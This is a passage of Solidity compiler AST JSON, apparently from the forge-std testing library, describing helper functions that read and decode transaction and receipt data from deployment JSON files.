memory)"}},"id":4706,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14980:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"14948:61:3"},{"assignments":[4710],"declarations":[{"constant":false,"id":4710,"mutability":"mutable","name":"rawTx","nameLocation":"15036:5:3","nodeType":"VariableDeclaration","scope":4722,"src":"15019:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559"},"typeName":{"id":4709,"nodeType":"UserDefinedTypeName","pathNode":{"id":4708,"name":"RawTx1559","nameLocations":["15019:9:3"],"nodeType":"IdentifierPath","referencedDeclaration":3526,"src":"15019:9:3"},"referencedDeclaration":3526,"src":"15019:9:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_storage_ptr","typeString":"struct StdCheatsSafe.RawTx1559"}},"visibility":"internal"}],"id":4717,"initialValue":{"arguments":[{"id":4713,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4701,"src":"15055:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":4714,"name":"RawTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3526,"src":"15074:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}}],"id":4715,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"15073:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_struct$_RawTx1559_$3526_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawTx1559 storage pointer)"}],"expression":{"id":4711,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15044:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4712,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15048:6:3","memberName":"decode","nodeType":"MemberAccess","src":"15044:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4716,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15044:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}},"nodeType":"VariableDeclarationStatement","src":"15019:66:3"},{"expression":{"arguments":[{"id":4719,"name":"rawTx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4710,"src":"15126:5:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawTx1559_$3526_memory_ptr","typeString":"struct StdCheatsSafe.RawTx1559 memory"}],"id":4718,"name":"rawToConvertedEIPTx1559","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4546,"src":"15102:23:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawTx1559_$3526_memory_ptr_$returns$_t_struct$_Tx1559_$3562_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawTx1559 memory) pure returns (struct StdCheatsSafe.Tx1559 memory)"}},"id":4720,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15102:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559 memory"}},"functionReturnParameters":4677,"id":4721,"nodeType":"Return","src":"15095:37:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readTx1559","nameLocation":"14695:10:3","parameters":{"id":4673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4670,"mutability":"mutable","name":"path","nameLocation":"14720:4:3","nodeType":"VariableDeclaration","scope":4723,"src":"14706:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4669,"name":"string","nodeType":"ElementaryTypeName","src":"14706:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":4672,"mutability":"mutable","name":"index","nameLocation":"14734:5:3","nodeType":"VariableDeclaration","scope":4723,"src":"14726:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4671,"name":"uint256","nodeType":"ElementaryTypeName","src":"14726:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14705:35:3"},"returnParameters":{"id":4677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4676,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4723,"src":"14772:13:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_memory_ptr","typeString":"struct StdCheatsSafe.Tx1559"},"typeName":{"id":4675,"nodeType":"UserDefinedTypeName","pathNode":{"id":4674,"name":"Tx1559","nameLocations":["14772:6:3"],"nodeType":"IdentifierPath","referencedDeclaration":3562,"src":"14772:6:3"},"referencedDeclaration":3562,"src":"14772:6:3","typeDescriptions":{"typeIdentifier":"t_struct$_Tx1559_$3562_storage_ptr","typeString":"struct StdCheatsSafe.Tx1559"}},"visibility":"internal"}],"src":"14771:15:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4765,"nodeType":"FunctionDefinition","src":"15201:371:3","nodes":[],"body":{"id":4764,"nodeType":"Block","src":"15292:280:3","nodes":[],"statements":[{"assignments":[4733],"declarations":[{"constant":false,"id":4733,"mutability":"mutable","name":"deployData","nameLocation":"15316:10:3","nodeType":"VariableDeclaration","scope":4764,"src":"15302:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4732,"name":"string","nodeType":"ElementaryTypeName","src":"15302:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4738,"initialValue":{"arguments":[{"id":4736,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4725,"src":"15341:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4734,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15329:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4735,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15332:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"15329:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15329:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"15302:44:3"},{"assignments":[4740],"declarations":[{"constant":false,"id":4740,"mutability":"mutable","name":"parsedDeployData","nameLocation":"15369:16:3","nodeType":"VariableDeclaration","scope":4764,"src":"15356:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4739,"name":"bytes","nodeType":"ElementaryTypeName","src":"15356:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4746,"initialValue":{"arguments":[{"id":4743,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4733,"src":"15401:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"2e7265636569707473","id":4744,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15413:11:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_29a5d3664a45019923b250b65c7d5b7f8c019d3960761fa9ca59b9001f893261","typeString":"literal_string \".receipts\""},"value":".receipts"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_29a5d3664a45019923b250b65c7d5b7f8c019d3960761fa9ca59b9001f893261","typeString":"literal_string \".receipts\""}],"expression":{"id":4741,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15388:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4742,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15391:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"15388:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15388:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"15356:69:3"},{"assignments":[4751],"declarations":[{"constant":false,"id":4751,"mutability":"mutable","name":"rawReceipts","nameLocation":"15455:11:3","nodeType":"VariableDeclaration","scope":4764,"src":"15435:31:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"},"typeName":{"baseType":{"id":4749,"nodeType":"UserDefinedTypeName","pathNode":{"id":4748,"name":"RawReceipt","nameLocations":["15435:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"15435:10:3"},"referencedDeclaration":3666,"src":"15435:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"id":4750,"nodeType":"ArrayTypeName","src":"15435:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"}},"visibility":"internal"}],"id":4759,"initialValue":{"arguments":[{"id":4754,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4740,"src":"15480:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"baseExpression":{"id":4755,"name":"RawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3666,"src":"15499:10:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}},"id":4756,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"IndexAccess","src":"15499:12:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt memory[] memory)"}}],"id":4757,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"15498:14:3","typeDescriptions":{"typeIdentifier":"t_type$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt memory[] memory)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt memory[] memory)"}],"expression":{"id":4752,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15469:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4753,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15473:6:3","memberName":"decode","nodeType":"MemberAccess","src":"15469:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4758,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15469:44:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"15435:78:3"},{"expression":{"arguments":[{"id":4761,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4751,"src":"15553:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}],"id":4760,"name":"rawToConvertedReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4869,"src":"15530:22:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory[] memory) pure returns (struct StdCheatsSafe.Receipt memory[] memory)"}},"id":4762,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15530:35:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"functionReturnParameters":4731,"id":4763,"nodeType":"Return","src":"15523:42:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readReceipts","nameLocation":"15210:12:3","parameters":{"id":4726,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4725,"mutability":"mutable","name":"path","nameLocation":"15237:4:3","nodeType":"VariableDeclaration","scope":4765,"src":"15223:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4724,"name":"string","nodeType":"ElementaryTypeName","src":"15223:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15222:20:3"},"returnParameters":{"id":4731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4730,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4765,"src":"15274:16:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":4728,"nodeType":"UserDefinedTypeName","pathNode":{"id":4727,"name":"Receipt","nameLocations":["15274:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"15274:7:3"},"referencedDeclaration":3695,"src":"15274:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4729,"nodeType":"ArrayTypeName","src":"15274:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"}],"src":"15273:18:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4820,"nodeType":"FunctionDefinition","src":"15578:461:3","nodes":[],"body":{"id":4819,"nodeType":"Block","src":"15681:358:3","nodes":[],"statements":[{"assignments":[4776],"declarations":[{"constant":false,"id":4776,"mutability":"mutable","name":"deployData","nameLocation":"15705:10:3","nodeType":"VariableDeclaration","scope":4819,"src":"15691:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4775,"name":"string","nodeType":"ElementaryTypeName","src":"15691:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4781,"initialValue":{"arguments":[{"id":4779,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4767,"src":"15730:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4777,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15718:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15721:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"15718:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15718:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"15691:44:3"},{"assignments":[4783],"declarations":[{"constant":false,"id":4783,"mutability":"mutable","name":"key","nameLocation":"15759:3:3","nodeType":"VariableDeclaration","scope":4819,"src":"15745:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4782,"name":"string","nodeType":"ElementaryTypeName","src":"15745:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4796,"initialValue":{"arguments":[{"arguments":[{"hexValue":"2e72656365697074735b","id":4788,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15789:12:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_1f28b72ce547907c2ae0f1bd0fd1ff00aeea8e573cc3e4076246f258e653d170","typeString":"literal_string \".receipts[\""},"value":".receipts["},{"arguments":[{"id":4791,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4769,"src":"15815:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":4789,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15803:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4790,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15806:8:3","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"15803:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":4792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15803:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"5d","id":4793,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"15823:3:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""},"value":"]"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1f28b72ce547907c2ae0f1bd0fd1ff00aeea8e573cc3e4076246f258e653d170","typeString":"literal_string \".receipts[\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_b36bcf9cc1d9e7f60b1f757ebd8b4694b17fc592b16065d243c43b09fde00b29","typeString":"literal_string \"]\""}],"expression":{"id":4786,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15772:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4787,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15776:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"15772:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":4794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15772:55:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4785,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"15765:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":4784,"name":"string","nodeType":"ElementaryTypeName","src":"15765:6:3","typeDescriptions":{}}},"id":4795,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15765:63:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"15745:83:3"},{"assignments":[4798],"declarations":[{"constant":false,"id":4798,"mutability":"mutable","name":"parsedDeployData","nameLocation":"15851:16:3","nodeType":"VariableDeclaration","scope":4819,"src":"15838:29:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4797,"name":"bytes","nodeType":"ElementaryTypeName","src":"15838:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4804,"initialValue":{"arguments":[{"id":4801,"name":"deployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4776,"src":"15883:10:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":4802,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4783,"src":"15895:3:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4799,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"15870:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4800,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"15873:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13083,"src":"15870:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes memory)"}},"id":4803,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15870:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"15838:61:3"},{"assignments":[4807],"declarations":[{"constant":false,"id":4807,"mutability":"mutable","name":"rawReceipt","nameLocation":"15927:10:3","nodeType":"VariableDeclaration","scope":4819,"src":"15909:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt"},"typeName":{"id":4806,"nodeType":"UserDefinedTypeName","pathNode":{"id":4805,"name":"RawReceipt","nameLocations":["15909:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"15909:10:3"},"referencedDeclaration":3666,"src":"15909:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"visibility":"internal"}],"id":4814,"initialValue":{"arguments":[{"id":4810,"name":"parsedDeployData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4798,"src":"15951:16:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":4811,"name":"RawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3666,"src":"15970:10:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}}],"id":4812,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"15969:12:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_struct$_RawReceipt_$3666_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawReceipt storage pointer)"}],"expression":{"id":4808,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"15940:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4809,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"15944:6:3","memberName":"decode","nodeType":"MemberAccess","src":"15940:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4813,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15940:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"nodeType":"VariableDeclarationStatement","src":"15909:73:3"},{"expression":{"arguments":[{"id":4816,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4807,"src":"16021:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}],"id":4815,"name":"rawToConvertedReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4990,"src":"15999:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawReceipt_$3666_memory_ptr_$returns$_t_struct$_Receipt_$3695_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory) pure returns (struct StdCheatsSafe.Receipt memory)"}},"id":4817,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"15999:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt 